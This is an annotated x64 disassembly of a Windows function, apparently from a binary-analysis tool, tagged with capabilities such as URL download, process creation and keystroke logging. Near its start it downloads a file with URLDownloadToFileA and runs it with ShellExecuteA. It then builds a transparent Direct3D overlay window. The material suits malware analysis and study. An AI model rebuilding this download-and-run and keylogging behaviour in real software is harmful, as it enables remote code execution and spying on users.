Function at 0x7ff754ae7c50
Capabilities:
Create process on windows
Create thread
Download url
Log keystrokes via polling
Query environment variable
Receive data
Terminate process

Disassembly:
push rbp
push rsi
lea rbp, [rsp - 0x11c8]
mov eax, 0x12c8
call fcn.7ff754bbb880
sub rsp, rax
movaps xmm0, xmmword [0x7ff754bfaf50]
lea r8, [rbp + 0x4d0]
movaps xmm1, xmmword [0x7ff754bfaf60]
lea rdx, [rbp + 0xdc0]
movzx eax, byte [0x7ff754bfafa8]
xor esi, esi
movaps xmmword [rbp + 0xdc0], xmm0
xor r9d, r9d
movaps xmm0, xmmword [0x7ff754bfaf70]
xor ecx, ecx
movaps xmmword [rbp + 0xde0], xmm0
movaps xmm0, xmmword [0x7ff754bfaf90]
movaps xmmword [rbp + 0xdd0], xmm1
movaps xmm1, xmmword [0x7ff754bfaf80]
mov byte [rbp + 0xe18], al
movzx eax, word [0x7ff754bfafc0]
movaps xmmword [rbp + 0xe00], xmm0
movups xmm0, xmmword [0x7ff754bfafb0]
mov word [rbp + 0x4e0], ax
movzx eax, byte [0x7ff754bfafc2]
movaps xmmword [rbp + 0xdf0], xmm1
movsd xmm1, qword [0x7ff754bfafa0]
movups xmmword [rbp + 0x4d0], xmm0
mov byte [rbp + 0x4e2], al
movsd qword [rbp + 0xe10], xmm1
mov qword [rsp + 0x20], rsi
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 5
lea r8, [0x7ff754bfafb0]
mov qword [rsp + 0x20], rsi
lea rdx, [0x7ff754bfafc4]
xor ecx, ecx
call qword [sym.imp.shell32.dll_ShellExecuteA]
lea ecx, [rsi + 8]
call fcn.7ff754bbacf4
lea rcx, [0x7ff754ae2e60]
mov r9, rax
lea r8, [0x7ff754af0e70]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x1b8]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], esi
call qword [sym.imp.ucrtbase.dll__beginthreadex]
mov qword [rbp + 0x1b0], rax
test rax, rax
je 0x7ff754aed2e1
cmp dword [rbp + 0x1b8], esi
jne 0x7ff754ae7d92
lea ecx, [rsi + 1]
call qword [sym.imp.msvcp140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
movaps xmm0, xmmword [rbp + 0x1b0]
lea rcx, [rbp + 0x820]
movdqa xmmword [rbp + 0x820], xmm0
call qword [sym.imp.msvcp140.dll__Thrd_detach]
test eax, eax
je 0x7ff754ae7dbb
mov ecx, eax
call qword [sym.imp.msvcp140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
xorps xmm0, xmm0
movaps xmmword [rbp + 0xeb0], xmm0
movdqa xmmword [rbp + 0x1b0], xmm0
call fcn.7ff754ae2ec0
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x7ff754ae70b0]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
lea r8, [0x7ff754ae5420]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
lea rcx, [0x7ff754c40b20]
call fcn.7ff754b65010
cmp byte [0x7ff754c40d38], sil
jne 0x7ff754ae7e52
lea rcx, [0x7ff754c40d40]
call fcn.7ff754ad7330
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.user32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.ucrtbase.dll_exit]
int3
mov qword [rsp + 0x12e0], rbx
lea rax, [0x7ff754aedeb0]
mov qword [rsp + 0x12c0], r13
mov edx, 0x7f00
xor ecx, ecx
mov qword [rsp + 0x12b8], r14
mov qword [rbp + 0x448], rax
mov dword [rbp + 0x440], 0x50
mov dword [rbp + 0x444], 0x40
mov qword [rbp + 0x450], rsi
mov qword [rbp + 0x458], rsi
call qword [sym.imp.user32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x460], rax
call qword [sym.imp.user32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x470], rsi
mov qword [rbp + 0x468], rax
xor ecx, ecx
lea rax, [0x7ff754bfafd0]
mov qword [rbp + 0x478], rax
lea rax, [0x7ff754bfafe0]
mov qword [rbp + 0x480], rax
call qword [sym.imp.user32.dll_LoadIconA]
lea rcx, [rbp + 0x440]
mov qword [rbp + 0x488], rax
call qword [sym.imp.user32.dll_RegisterClassExW]
mov r13d, 1
mov ecx, r13d
call qword [sym.imp.user32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x104]
call qword [sym.imp.user32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], rsi
lea r8, [0x7ff754bfaff0]
mov qword [rsp + 0x50], rsi
cdq
mov qword [rsp + 0x48], rsi
sub eax, edx
mov rdx, qword [rbp + 0x480]
mov r9d, 0x80000000
mov qword [rsp + 0x40], rsi
xor ecx, ecx
mov dword [rsp + 0x38], 0x208
sar eax, 1
sub eax, 0x17c
mov dword [rsp + 0x30], 0x2f8
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.user32.dll_CreateWindowExW]
mov rcx, rax
mov qword [rbp + 0x180], rax
lea edx, [r13 - 0x15]
mov r14, rax
call qword [sym.imp.user32.dll_GetWindowLongA]
lea edx, [r13 - 0x15]
mov rcx, r14
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.user32.dll_SetWindowLongA]
mov ebx, 2
mov r8b, 0xff
mov r9d, ebx
xor edx, edx
mov rcx, r14
call qword [sym.imp.user32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x7ff754bfba30]
lea rdx, [rbp + 0x810]
mov rcx, r14
movdqu xmmword [rbp + 0x810], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
lea rdx, [rbp + 0x250]
mov rcx, r14
movups xmmword [rbp + 0x250], xmm0
call qword [sym.imp.user32.dll_GetWindowRect]
mov qword [rbp + 0x404], rsi
lea rax, [0x7ff754c55658]
mov qword [rbp + 0x418], rbx
mov qword [rsp + 0x58], rax
xor r9d, r9d
lea rax, [rbp + 0x320]
mov qword [rbp + 0x430], rbx
mov qword [rsp + 0x50], rax
xor r8d, r8d
lea rax, [0x7ff754c55650]
mov qword [rbp + 0x3f0], rsi
mov qword [rsp + 0x48], rax
mov edx, r13d
lea rax, [0x7ff754c55608]
mov dword [rbp + 0x400], 0x1c
mov qword [rsp + 0x40], rax
xor ecx, ecx
lea rax, [rbp + 0x3f0]
mov dword [rbp + 0x3f8], 0x3c
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x188]
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
mov dword [rbp + 0x3fc], r13d
mov dword [rbp + 0x414], 0x20
mov qword [rbp + 0x420], r14
mov qword [rbp + 0x40c], r13
mov qword [rbp + 0x428], r13
mov dword [rbp + 0x188], 0xb000
mov dword [rbp + 0x18c], 0xa000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
test eax, eax
je 0x7ff754ae80e9
call fcn.7ff754aede30
mov rdx, qword [rbp + 0x458]
mov rcx, qword [rbp + 0x480]
call qword [sym.imp.user32.dll_UnregisterClassW]
mov eax, r13d
jmp 0x7ff754aed2b6
mov rcx, qword [0x7ff754c55608]
lea r9, [rbp + 0x190]
mov qword [rsp + 0x12e8], rdi
lea r8, [0x7ff754bfb7c8]
mov qword [rsp + 0x12f0], r12
xor edx, edx
mov qword [rsp + 0x12b0], r15
mov rax, qword [rcx]
movaps xmmword [rsp + 0x12a0], xmm6
movaps xmmword [rsp + 0x1290], xmm7
movaps xmmword [rsp + 0x1280], xmm8
movaps xmmword [rsp + 0x1270], xmm9
movaps xmmword [rsp + 0x1260], xmm10
movaps xmmword [rsp + 0x1250], xmm11
movaps xmmword [rsp + 0x1240], xmm12
movaps xmmword [rsp + 0x1230], xmm13
movaps xmmword [rsp + 0x1220], xmm14
movaps xmmword [rsp + 0x1210], xmm15
call qword [rax + 0x48]
mov rcx, qword [0x7ff754c55650]
lea r9, [0x7ff754c55600]
mov rdx, qword [rbp + 0x190]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0x190]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov edx, 0xa
mov rcx, r14
call qword [sym.imp.user32.dll_ShowWindow]
mov rcx, r14
call qword [sym.imp.user32.dll_UpdateWindow]
mov rdi, qword [0x7ff754c1f830]
test rdi, rdi
je 0x7ff754ae81ca
inc dword [rdi + 0xf4]
mov rdx, qword [0x7ff754c1f820]
mov ecx, 0x5dd8
call sub.ucrtbase.dll_malloc
test rax, rax
je 0x7ff754ae81ec
xor edx, edx
mov rcx, rax
call fcn.7ff754aa20e0
jmp 0x7ff754ae81ef
mov rax, rsi
mov qword [0x7ff754c1f830], rax
call fcn.7ff754aa65a0
mov rbx, qword [0x7ff754c1f830]
test rdi, rdi
cmovne rbx, rdi
mov qword [0x7ff754c1f830], rbx
test rbx, rbx
jne 0x7ff754ae8236
mov r8d, 0xfd8
lea rdx, [0x7ff754beb820]
lea rcx, [0x7ff754bebde0]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rbx, qword [0x7ff754c1f830]
mov rsi, qword [rbx + 0x58]
xorps xmm6, xmm6
movss xmm12, dword [0x7ff754bfb894]
xor eax, eax
mov qword [rbp + 0x6b0], rax
mov eax, 3
movups xmmword [rbp + 0x640], xmm6
cmp byte [rsi + 0x18], 0
movups xmmword [rbp + 0x670], xmm6
mov dword [rbp + 0x648], eax
mov eax, 0xffff
movups xmmword [rbp + 0x680], xmm6
mov word [rbp + 0x684], ax
movups xmmword [rbp + 0x630], xmm6
mov byte [rbp + 0x63c], r13b
movaps xmmword [rbp + 0x650], xmm6
movaps xmmword [rbp + 0x660], xmm6
movaps xmmword [rbp + 0x690], xmm6
movaps xmmword [rbp + 0x6a0], xmm6
mov dword [rbp + 0x64c], r13d
mov dword [rbp + 0x674], 0x7f7fffff
mov dword [rbp + 0x680], 0x3f800000
mov dword [rbp + 0x67c], 0x10c
je 0x7ff754ae82ea
mov r8d, 0x89b
lea rdx, [0x7ff754bf5650]
lea rcx, [0x7ff754bf5970]
call qword [sym.imp.ucrtbase.dll__wassert]
movaps xmm7, xmmword [rbp + 0x630]
movaps xmm8, xmmword [rbp + 0x640]
movq rdi, xmm7
movaps xmm9, xmmword [rbp + 0x670]
movaps xmm10, xmmword [rbp + 0x680]
movsd xmm11, qword [rbp + 0x6b0]
movaps xmmword [rbp + 0x930], xmm7
movaps xmmword [rbp + 0x940], xmm8
movaps xmmword [rbp + 0x950], xmm6
movaps xmmword [rbp + 0x960], xmm6
movaps xmmword [rbp + 0x970], xmm9
movaps xmmword [rbp + 0x980], xmm10
movaps xmmword [rbp + 0x990], xmm6
movaps xmmword [rbp + 0x9a0], xmm6
movsd qword [rbp + 0x9b0], xmm11
test rdi, rdi
je 0x7ff754ae837a
mov r8d, 0x89d
lea rdx, [0x7ff754bf5650]
lea rcx, [0x7ff754bf5b70]
call qword [sym.imp.ucrtbase.dll__wassert]
lea r12, [0x7ff754c140e0]
mov dword [rbp + 0x938], 0x8574
lea r15, [0x7ff754bf6248]
mov qword [rbp + 0x930], r12
lea rdx, [rbp + 0x930]
mov qword [rbp + 0x968], r15
mov rcx, rsi
mov dword [rbp + 0x944], 0x41b00000
call fcn.7ff754ac4d10
mov rsi, qword [rbx + 0x58]
cmp byte [rsi + 0x18], 0
je 0x7ff754ae83dd
mov r8d, 0x89b
lea rdx, [0x7ff754bf5650]
lea rcx, [0x7ff754bf5970]
call qword [sym.imp.ucrtbase.dll__wassert]
movaps xmmword [rbp + 0x9c0], xmm7
movaps xmmword [rbp + 0x9d0], xmm8
movaps xmmword [rbp + 0x9e0], xmm6
movaps xmmword [rbp + 0x9f0], xmm6
movaps xmmword [rbp + 0xa00], xmm9
movaps xmmword [rbp + 0xa10], xmm10
movaps xmmword [rbp + 0xa20], xmm6
movaps xmmword [rbp + 0xa30], xmm6
movsd qword [rbp + 0xa40], xmm11
test rdi, rdi
je 0x7ff754ae8440
mov r8d, 0x89d
lea rdx, [0x7ff754bf5650]
lea rcx, [0x7ff754bf5b70]
call qword [sym.imp.ucrtbase.dll__wassert]
movss xmm0, dword [0x7ff754bfb938]
lea rdx, [rbp + 0x9c0]
mov rcx, rsi
movss dword [rbp + 0x9d4], xmm0
mov qword [rbp + 0x9c0], r12
mov dword [rbp + 0x9c8], 0x8574
mov qword [rbp + 0x9f8], r15
call fcn.7ff754ac4d10
mov rsi, qword [rbx + 0x58]
mov qword [0x7ff754c1f840], rax
cmp byte [rsi + 0x18], 0
je 0x7ff754ae84a2
mov r8d, 0x89b
lea rdx, [0x7ff754bf5650]
lea rcx, [0x7ff754bf5970]
call qword [sym.imp.ucrtbase.dll__wassert]
movaps xmmword [rbp + 0xa50], xmm7
movaps xmmword [rbp + 0xa60], xmm8
movaps xmmword [rbp + 0xa70], xmm6
movaps xmmword [rbp + 0xa80], xmm6
movaps xmmword [rbp + 0xa90], xmm9
movaps xmmword [rbp + 0xaa0], xmm10
movaps xmmword [rbp + 0xab0], xmm6
movaps xmmword [rbp + 0xac0], xmm6
movsd qword [rbp + 0xad0], xmm11
test rdi, rdi
je 0x7ff754ae8505
mov r8d, 0x89d
lea rdx, [0x7ff754bf5650]
lea rcx, [0x7ff754bf5b70]
call qword [sym.imp.ucrtbase.dll__wassert]
lea r12, [0x7ff754c1c750]
mov dword [rbp + 0xa58], 0xb98
lea rdx, [rbp + 0xa50]
mov qword [rbp + 0xa50], r12
mov rcx, rsi
mov dword [rbp + 0xa64], 0x41b00000
mov qword [rbp + 0xa88], r15
call fcn.7ff754ac4d10
mov rbx, qword [rbx + 0x58]
mov qword [0x7ff754c1f850], rax
cmp byte [rbx + 0x18], 0
je 0x7ff754ae8568
mov r8d, 0x89b
lea rdx, [0x7ff754bf5650]
lea rcx, [0x7ff754bf5970]
call qword [sym.imp.ucrtbase.dll__wassert]
movaps xmmword [rbp + 0x8a0], xmm7
movaps xmmword [rbp + 0x8b0], xmm8
movaps xmmword [rbp + 0x8c0], xmm6
movaps xmmword [rbp + 0x8d0], xmm6
movaps xmmword [rbp + 0x8e0], xmm9
movaps xmmword [rbp + 0x8f0], xmm10
movaps xmmword [rbp + 0x900], xmm6
movaps xmmword [rbp + 0x910], xmm6
movsd qword [rbp + 0x920], xmm11
test rdi, rdi
je 0x7ff754ae85cb
mov r8d, 0x89d
lea rdx, [0x7ff754bf5650]
lea rcx, [0x7ff754bf5b70]
call qword [sym.imp.ucrtbase.dll__wassert]
movss xmm0, dword [0x7ff754bfb930]
lea rdx, [rbp + 0x8a0]
mov rcx, rbx
movss dword [rbp + 0x8b4], xmm0
mov qword [rbp + 0x8a0], r12
mov dword [rbp + 0x8a8], 0xb98
mov qword [rbp + 0x8d8], r15
call fcn.7ff754ac4d10
xor ecx, ecx
mov qword [0x7ff754c1f848], rax
call fcn.7ff754ac0350
mov rbx, qword [0x7ff754c1f830]
test rbx, rbx
jne 0x7ff754ae863d
mov r8d, 0xfd8
lea rdx, [0x7ff754beb820]
lea rcx, [0x7ff754bebde0]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rbx, qword [0x7ff754c1f830]
cmp qword [rbx + 0x98], 0
je 0x7ff754ae8661
mov r8d, 0x75
lea rdx, [0x7ff754bf78f0]
lea rcx, [0x7ff754bf79d0]
call qword [sym.imp.ucrtbase.dll__wassert]
lea rcx, [rbp + 0x328]
call qword [sym.imp.kernel32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x7ff754ae87e0
lea rcx, [rbp + 0x330]
call qword [sym.imp.kernel32.dll_QueryPerformanceCounter]
test eax, eax
je 0x7ff754ae87e0
mov rax, qword [0x7ff754c1f830]
test rax, rax
je 0x7ff754ae869d
inc dword [rax + 0xf4]
mov ecx, 0x48
call qword [sym.imp.ucrtbase.dll_malloc]
mov rdi, rax
test rax, rax
je 0x7ff754ae86cd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rdi], xmm0
xor r15d, r15d
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
mov qword [rdi + 0x40], rax
jmp 0x7ff754ae86d3
xor r15d, r15d
mov edi, r15d
or dword [rbx + 0xc], 6
lea rax, [0x7ff754bf7a78]
mov qword [rbx + 0x88], rax
mov qword [rbx + 0x98], rdi
mov rbx, qword [0x7ff754c1f830]
mov qword [rdi], r14
mov rax, qword [rbp + 0x328]
mov qword [rdi + 0x20], rax
mov rax, qword [rbp + 0x330]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x28], 9
cmp dword [rbx + 0x4870], 0
jg 0x7ff754ae8736
mov r8d, 0x6ff
lea rdx, [0x7ff754beb560]
lea rcx, [0x7ff754bf08d8]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rax, qword [rbx + 0x4878]
mov rbx, r15
mov rcx, qword [rax]
lea rax, [0x7ff754bf7a90]
mov qword [rbp + 0x6c0], rax
lea rax, [0x7ff754bf7aa0]
mov qword [rbp + 0x6c8], rax
lea rax, [0x7ff754bf7ab0]
mov qword [rbp + 0x6d0], rax
lea rax, [0x7ff754bf7ac0]
mov qword [rbp + 0x6d8], rax
lea rax, [0x7ff754bf7ad0]
mov qword [rcx + 0x28], r14
mov qword [rbp + 0x6e0], rax
mov byte [rdi + 0x2d], r13b
mov rcx, qword [rbp + rbx*8 + 0x6c0]
call qword [sym.imp.kernel32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x7ff754ae87b2
inc rbx
cmp rbx, 5
jl 0x7ff754ae8791
jmp 0x7ff754ae87e3
lea rdx, [0x7ff754bf7ae0]
mov qword [rdi + 0x30], rsi
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
lea rdx, [0x7ff754bf7af8]
mov rcx, rsi
mov qword [rdi + 0x38], rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov qword [rdi + 0x40], rax
jmp 0x7ff754ae87e3
xor r15d, r15d
mov rax, qword [0x7ff754c1f830]
mov r14, qword [0x7ff754c55658]
mov rsi, qword [0x7ff754c55650]
test rax, rax
jne 0x7ff754ae881e
mov r8d, 0xfd8
lea rdx, [0x7ff754beb820]
lea rcx, [0x7ff754bebde0]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rax, qword [0x7ff754c1f830]
lea rdi, [rax + 8]
cmp qword [rdi + 0x98], 0
je 0x7ff754ae884d
mov r8d, 0x221
lea rdx, [0x7ff754bf7120]
lea rcx, [0x7ff754bf76f0]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rax, qword [0x7ff754c1f830]
test rax, rax
je 0x7ff754ae8858
inc dword [rax + 0xf4]
mov rdx, qword [0x7ff754c1f820]
mov ecx, 0x78
call sub.ucrtbase.dll_malloc
mov rbx, rax
test rax, rax
je 0x7ff754ae889f
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov dword [rax + 0x70], 0x1388
mov dword [rax + 0x74], 0x2710
jmp 0x7ff754ae88a2
mov rbx, r15
or dword [rdi + 4], 8
lea rax, [0x7ff754bf7798]
mov qword [rdi + 0x88], rax
lea r8, [rbp - 0x20]
mov qword [rdi + 0x98], rbx
lea rdx, [0x7ff754bf78c0]
mov rax, qword [rsi]
mov rcx, rsi
mov qword [rbp - 0x20], r15
mov qword [rbp - 0x18], r15
mov qword [rbp + 0x198], r15
call qword [rax]
test eax, eax
jne 0x7ff754ae8928
mov rcx, qword [rbp - 0x20]
lea r8, [rbp - 0x18]
lea rdx, [0x7ff754bf78d0]
mov rax, qword [rcx]
call qword [rax + 0x30]
test eax, eax
jne 0x7ff754ae8928
mov rcx, qword [rbp - 0x18]
lea r8, [rbp + 0x198]
lea rdx, [0x7ff754bf78e0]
mov rax, qword [rcx]
call qword [rax + 0x30]
test eax, eax
jne 0x7ff754ae8928
mov qword [rbx], rsi
mov qword [rbx + 8], r14
mov rax, qword [rbp + 0x198]
mov qword [rbx + 0x10], rax
mov rcx, qword [rbp - 0x20]
test rcx, rcx
je 0x7ff754ae8937
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x18]
test rcx, rcx
je 0x7ff754ae8946
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, qword [rbx + 8]
mov rax, qword [rcx]
call qword [rax + 8]
movzx esi, byte [rsp + 0x60]
xor r12b, r12b
movzx edi, byte [rsp + 0x60]
xorps xmm9, xmm9
movzx r14d, byte [rsp + 0x60]
movzx ebx, byte [rsp + 0x60]
movss xmm10, dword [0x7ff754bfb9fc]
movss xmm11, dword [0x7ff754bfb918]
movss xmm14, dword [0x7ff754bfb8fc]
movss xmm15, dword [0x7ff754bfb9b0]
movss xmm13, dword [0x7ff754bfb99c]
mov dword [rsp + 0x64], r12d
nop word [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
lea rcx, [rbp + 0x868]
xor edx, edx
call qword [sym.imp.user32.dll_PeekMessageA]
test eax, eax
je 0x7ff754ae8a25
nop
lea rcx, [rbp + 0x868]
call qword [sym.imp.user32.dll_TranslateMessage]
lea rcx, [rbp + 0x868]
call qword [sym.imp.user32.dll_DispatchMessageA]
cmp dword [rbp + 0x870], 0x12
lea rcx, [rbp + 0x868]
movzx r12d, r12b
cmove r12d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.user32.dll_PeekMessageA]
test eax, eax
jne 0x7ff754ae89d0
mov byte [rsp + 0x64], r12b
test r12b, r12b
jne 0x7ff754aed01c
mov r15, qword [0x7ff754c1f830]
test r15, r15
je 0x7ff754ae8a3f
mov r15, qword [r15 + 0xa0]
test r15, r15
jne 0x7ff754ae8a5e
jmp 0x7ff754ae8a44
xor eax, eax
mov r15d, eax
mov r8d, 0x250
lea rdx, [0x7ff754bf7120]
lea rcx, [0x7ff754bf7850]
call qword [sym.imp.ucrtbase.dll__wassert]
cmp qword [r15 + 0x48], 0
jne 0x7ff754ae8a6a
call fcn.7ff754ad92e0
call fcn.7ff754ada480
call fcn.7ff754aa8e10
mov rax, qword [0x7ff754c1f830]
mov qword [rbp + 0x108], rax
test rax, rax
jne 0x7ff754ae8aaf
mov r8d, 0xb67
lea rdx, [0x7ff754beb820]
lea rcx, [0x7ff754bebde0]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rax, qword [0x7ff754c1f830]
mov qword [rbp + 0x108], rax
movaps xmm0, xmmword [0x7ff754bfbee0]
xor ecx, ecx
movaps xmm1, xmmword [0x7ff754bfbe50]
xor edx, edx
mov dword [rax + 0x37e8], ecx
mov r8d, 0x20bb
mov dword [rax + 0x37f4], ecx
mov qword [rax + 0x382c], rcx
lea rcx, [0x7ff754bfb000]
mov dword [rax + 0x37f0], 0x41200000
mov dword [rax + 0x380c], 0x41200000
mov dword [rax + 0x37ec], 0x41f00000
mov dword [rax + 0x3824], 0x40800000
mov dword [rax + 0x3854], 0x40c00000
mov qword [rax + 0x3814], 0x41000000
movups xmmword [0x7ff754c55960], xmm0
movups xmmword [0x7ff754c55a70], xmm1
or dword [rax + 0x4778], 2
mov dword [rax + 0x4798], 0x443e0000
mov dword [rax + 0x479c], 0x44020000
mov dword [rax + 0x4780], r13d
call fcn.7ff754aaee00
mov r15, qword [rbp + 0x180]
lea rdx, [rbp + 0x250]
mov rcx, r15
call qword [sym.imp.user32.dll_GetWindowRect]
mov r8, qword [0x7ff754c1f830]
mov rax, qword [r8 + 0x3ea0]
movss xmm2, dword [rax + 0x18]
ucomiss xmm2, xmm9
jp 0x7ff754ae8b92
jne 0x7ff754ae8b92
movss xmm0, dword [rax + 0x1c]
ucomiss xmm0, xmm9
jp 0x7ff754ae8b92
je 0x7ff754ae8c05
movd xmm0, dword [rbp + 0x254]
mov r9d, 0x2f8
movd xmm1, dword [rbp + 0x250]
mov rcx, r15
cvtdq2ps xmm0, xmm0
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 0x208
cvtdq2ps xmm1, xmm1
addss xmm0, dword [rax + 0x1c]
addss xmm1, xmm2
cvttss2si r8d, xmm0
cvttss2si edx, xmm1
call qword [sym.imp.user32.dll_MoveWindow]
mov rcx, qword [0x7ff754c1f830]
lea rdx, [rbp + 0x1a0]
xor r8d, r8d
mov qword [rbp + 0x1a0], 0
mov rcx, qword [rcx + 0x3ea0]
call fcn.7ff754ab2710
mov r8, qword [0x7ff754c1f830]
mov rax, qword [r8 + 0x3ea0]
lea rcx, [rbp + 0x260]
mov byte [rax + 0xb0], 1
movss xmm1, dword [0x7ff754c55724]
movss xmm0, dword [0x7ff754c55720]
mov rax, qword [r8 + 0x3ea0]
movss dword [rbp + 0x264], xmm1
movss xmm1, dword [0x7ff754c5572c]
mulss xmm1, dword [r8 + 0x37e0]
mov r15, qword [rax + 0x290]
movss dword [rbp + 0x260], xmm0
movss xmm0, dword [0x7ff754c55728]
movss dword [rbp + 0x26c], xmm1
movss dword [rbp + 0x268], xmm0
call fcn.7ff754aa45b0
mov rdx, qword [r8 + 0x3ea0]
mov r12d, eax
movss xmm3, dword [0x7ff754bfb9d8]
lea rax, [0x7ff754bfb010]
movss xmm2, dword [r8 + 0x3c00]
xor r13d, r13d
mov rcx, qword [r8 + 0x3bf8]
movss xmm6, dword [rdx + 0x20]
lea rdx, [rbp + 0x20]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rax
movss dword [rsp + 0x20], xmm10
call fcn.7ff754ac76e0
movss xmm0, dword [rbp + 0x20]
mov dword [rbp + 0x2c], 0x41400000
addss xmm0, dword [0x7ff754bfb88c]
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x20], xmm1
subss xmm6, xmm1
mulss xmm6, dword [0x7ff754bfb85c]
addss xmm6, xmm9
movss dword [rbp + 0x28], xmm6
test r12d, 0xff000000
je 0x7ff754ae8d99
mov rax, qword [r15 + 0x38]
mov r13, qword [rax + 8]
movss xmm6, dword [rax + 0x10]
mov rax, qword [r15 + 0x98]
mov rcx, qword [r13 + 0x40]
cmp qword [rcx + 8], rax
je 0x7ff754ae8d40
mov r8d, 0x65b
lea rdx, [0x7ff754bf5650]
lea rcx, [0x7ff754bf58d0]
call qword [sym.imp.ucrtbase.dll__wassert]
movups xmm0, xmmword [r15 + 0x88]
mov byte [rsp + 0x48], 0
lea rax, [0x7ff754bfb026]
movss dword [rsp + 0x40], xmm9
lea r9, [rbp + 0x28]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm6
lea rax, [0x7ff754bfb010]
mov rdx, r15
mov qword [rsp + 0x30], rax
mov rcx, r13
lea rax, [rbp + 0x800]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
movups xmmword [rbp + 0x800], xmm0
call fcn.7ff754ac7900
xor r13d, r13d
mov r15, qword [0x7ff754c1f830]
cmp dword [r15 + 0x4870], 0
jg 0x7ff754ae8dc4
mov r8d, 0x6ff
lea rdx, [0x7ff754beb560]
lea rcx, [0x7ff754bf08d8]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rax, qword [r15 + 0x4878]
lea r8, [0x7ff754bec558]
xor edx, edx
mov rcx, qword [rax]
call fcn.7ff754aa8460
movss xmm1, dword [0x7ff754c55734]
mov r10, rax
movss xmm0, dword [0x7ff754c55730]
mov rcx, qword [0x7ff754c1f830]
movss dword [rbp + 0x274], xmm1
movss xmm1, dword [0x7ff754c5573c]
movss dword [rbp + 0x270], xmm0
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x270]
mov dword [rbp + 0x30], 0x443e0000
movss xmm0, dword [0x7ff754c55738]
movss dword [rbp + 0x278], xmm0
movss dword [rbp + 0x27c], xmm1
mov dword [rbp + 0x34], 0x42340000
mov qword [rbp + 0x38], 0
call fcn.7ff754aa45b0
mov r9d, eax
mov dword [rsp + 0x28], 0x30
lea rdx, [rbp + 0x38]
movss dword [rsp + 0x20], xmm11
lea r8, [rbp + 0x30]
mov rcx, r10
call fcn.7ff754ac3930
mov r15, qword [0x7ff754c1f830]
cmp dword [r15 + 0x4870], 0
jg 0x7ff754ae8e9d
mov r8d, 0x6ff
lea rdx, [0x7ff754beb560]
lea rcx, [0x7ff754bf08d8]
call qword [sym.imp.ucrtbase.dll__wassert]
mov rax, qword [r15 + 0x4878]
lea r8, [0x7ff754bec558]
xor edx, edx
mov rcx, qword [rax]
call fcn.7ff754aa8460
movss xmm1, dword [0x7ff754c55984]
mov r10, rax
movss xmm0, dword [0x7ff754c55980]
mov rcx, qword [0x7ff754c1f830]
movss dword [rbp + 0x284], xmm1
movss xmm1, dword [0x7ff754c5598c]
movss dword [rbp + 0x280], xmm0
mulss xmm1, dword [rcx + 0x37e0]
lea rcx, [rbp + 0x280]
mov dword [rbp + 0x40], 0x443e0000
movss xmm0, dword [0x7ff754c55988]
movss dword [rbp + 0x288], xmm0
movss dword [rbp + 0x28c], xmm1
